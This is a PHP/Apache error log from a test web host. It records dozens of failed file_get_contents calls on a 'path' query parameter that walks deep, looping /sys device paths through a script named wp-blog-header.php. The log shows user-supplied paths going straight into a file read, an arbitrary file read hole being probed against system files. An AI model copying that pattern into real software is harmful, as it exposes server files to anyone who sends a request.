[Thu Mar 26 10:56:28.015715 2026] [php:warn] [pid 3107086] [client 74.7.241.26:52776] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:eb/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:eb/subsystem/devices/device:fe
[Thu Mar 26 10:56:33.423456 2026] [php:warn] [pid 3107086] [client 74.7.241.26:52776] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ac/subsystem/devices/device:ad/device:ae/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ac/subsystem/devices/device:ad/device:ae/subsystem/devices/device:da
[Thu Mar 26 10:56:36.611889 2026] [php:warn] [pid 3107086] [client 74.7.241.26:52776] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec/subsystem/devices/device:be
[Thu Mar 26 10:56:39.814585 2026] [php:warn] [pid 3107086] [client 74.7.241.26:52776] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:cd/device:ce/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:cd/device:ce/subsystem/devices/device:ca
[Thu Mar 26 10:56:43.965906 2026] [php:warn] [pid 3107086] [client 74.7.241.26:52776] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cb/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cb/subsystem/devices/device:ae
[Thu Mar 26 10:56:48.318270 2026] [php:warn] [pid 3107086] [client 74.7.241.26:52776] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba/subsystem/drivers/ac
[Thu Mar 26 10:56:48.773286 2026] [php:warn] [pid 3107086] [client 74.7.241.26:52776] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ea/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ea/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc
[Thu Mar 26 10:56:49.833158 2026] [php:warn] [pid 3107086] [client 74.7.241.26:52776] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ed/device:ee/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ed/device:ee/subsystem/devices/device:ac
[Thu Mar 26 10:56:52.977039 2026] [php:warn] [pid 3107086] [client 74.7.241.26:52776] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec/subsystem/devices/device:ee
[Thu Mar 26 10:56:56.901344 2026] [php:warn] [pid 3107062] [client 74.7.241.26:53858] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc
[Thu Mar 26 10:56:57.382403 2026] [php:warn] [pid 3107062] [client 74.7.241.26:53858] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bd/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bd/device:be
[Thu Mar 26 10:56:58.477838 2026] [php:warn] [pid 3107062] [client 74.7.241.26:53858] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fb/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fb/subsystem/devices/device:fa
[Thu Mar 26 10:57:01.649326 2026] [php:warn] [pid 3107062] [client 74.7.241.26:53858] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ed/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ed/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac
[Thu Mar 26 10:57:06.980434 2026] [php:warn] [pid 3107062] [client 74.7.241.26:53858] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca/subsystem/drivers/ec
[Thu Mar 26 10:57:07.419573 2026] [php:warn] [pid 3107062] [client 74.7.241.26:53858] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be
[Thu Mar 26 10:57:11.708863 2026] [php:warn] [pid 3107062] [client 74.7.241.26:53858] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc
[Thu Mar 26 10:57:12.841621 2026] [php:warn] [pid 3107062] [client 74.7.241.26:53858] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ed/device:ee/subsystem/drivers_probe): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ed/device:ee/subsystem
[Thu Mar 26 10:57:14.368632 2026] [php:warn] [pid 3107062] [client 74.7.241.26:53858] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc/subsystem/drivers/ec
[Thu Mar 26 10:57:14.875707 2026] [php:warn] [pid 3107062] [client 74.7.241.26:53858] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ab/device:ac/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ab/device:ac/subsystem/devices/device:fe
[Thu Mar 26 10:57:19.063665 2026] [php:warn] [pid 3107062] [client 74.7.241.26:53858] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc/subsystem/devices/device:ba
[Thu Mar 26 10:57:20.179827 2026] [php:warn] [pid 3107062] [client 74.7.241.26:53858] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce/subsystem/devices/device:ce
[Thu Mar 26 10:57:25.394799 2026] [php:warn] [pid 3107062] [client 74.7.241.26:53858] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:fc/subsystem/devices/device:dd/device:de/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:fc/subsystem/devices/device:dd/device:de
[Thu Mar 26 10:57:29.310039 2026] [php:warn] [pid 3107062] [client 74.7.241.26:53858] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fb/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fb/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec
[Thu Mar 26 10:57:34.619690 2026] [php:warn] [pid 3107062] [client 74.7.241.26:53858] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:df/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:df/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc
[Thu Mar 26 10:57:37.241402 2026] [php:warn] [pid 3107062] [client 74.7.241.26:53858] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ee/subsystem/devices/device:ad/device:ae/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ee/subsystem/devices/device:ad/device:ae/subsystem/devices/device:da
[Thu Mar 26 10:57:40.371146 2026] [php:warn] [pid 3107062] [client 74.7.241.26:53858] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa/subsystem/devices/device:aa
[Thu Mar 26 10:57:41.939363 2026] [php:warn] [pid 3107062] [client 74.7.241.26:53858] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fb/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fb/device:fc
[Thu Mar 26 10:57:42.532230 2026] [php:warn] [pid 3107062] [client 74.7.241.26:53858] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:af/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:af/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc
[Thu Mar 26 10:57:45.058767 2026] [php:warn] [pid 3107062] [client 74.7.241.26:53858] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dd/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dd/subsystem/drivers/ac
[Thu Mar 26 10:57:48.231102 2026] [php:warn] [pid 3107062] [client 74.7.241.26:53858] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:be/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:be/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca
[Thu Mar 26 10:57:48.827984 2026] [php:warn] [pid 3107062] [client 74.7.241.26:53858] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ab/device:ac/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ab/device:ac/subsystem/drivers/ec
[Thu Mar 26 10:57:49.376068 2026] [php:warn] [pid 3107062] [client 74.7.241.26:53858] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:eb/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:eb/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac
[Thu Mar 26 10:57:50.764207 2026] [php:warn] [pid 3106409] [client 74.7.241.26:40534] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ed/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ed/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec
[Thu Mar 26 10:57:54.454759 2026] [php:warn] [pid 3106409] [client 74.7.241.26:40534] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea/subsystem/drivers/ac
[Thu Mar 26 10:57:56.638750 2026] [php:warn] [pid 3106409] [client 74.7.241.26:40534] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fa/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fa/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac
[Thu Mar 26 10:57:59.731875 2026] [php:warn] [pid 3106409] [client 74.7.241.26:40534] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc/subsystem/devices/device:ae
[Thu Mar 26 10:58:04.063877 2026] [php:warn] [pid 3106409] [client 74.7.241.26:40534] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cf/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cf/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac
[Thu Mar 26 10:58:07.199443 2026] [php:warn] [pid 3106409] [client 74.7.241.26:40534] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:db/device:dc/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:db/device:dc/subsystem/drivers/ac
[Thu Mar 26 10:58:09.876320 2026] [php:warn] [pid 3106409] [client 74.7.241.26:40534] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ab/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ab/subsystem/devices/device:fa
[Thu Mar 26 10:58:10.342015 2026] [php:warn] [pid 3106409] [client 74.7.241.26:40534] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be
[Thu Mar 26 10:58:11.461822 2026] [php:warn] [pid 3106409] [client 74.7.241.26:40534] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ab/device:ac/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ab/device:ac/subsystem/devices/device:ec
[Thu Mar 26 10:58:15.606599 2026] [php:warn] [pid 3106409] [client 74.7.241.26:40534] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fe/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fe/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec
[Thu Mar 26 10:58:16.676592 2026] [php:warn] [pid 3106409] [client 74.7.241.26:40534] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc/subsystem/drivers/ac
[Thu Mar 26 10:58:23.055392 2026] [php:warn] [pid 3106409] [client 74.7.241.26:40534] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dd/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dd/subsystem/drivers/ec
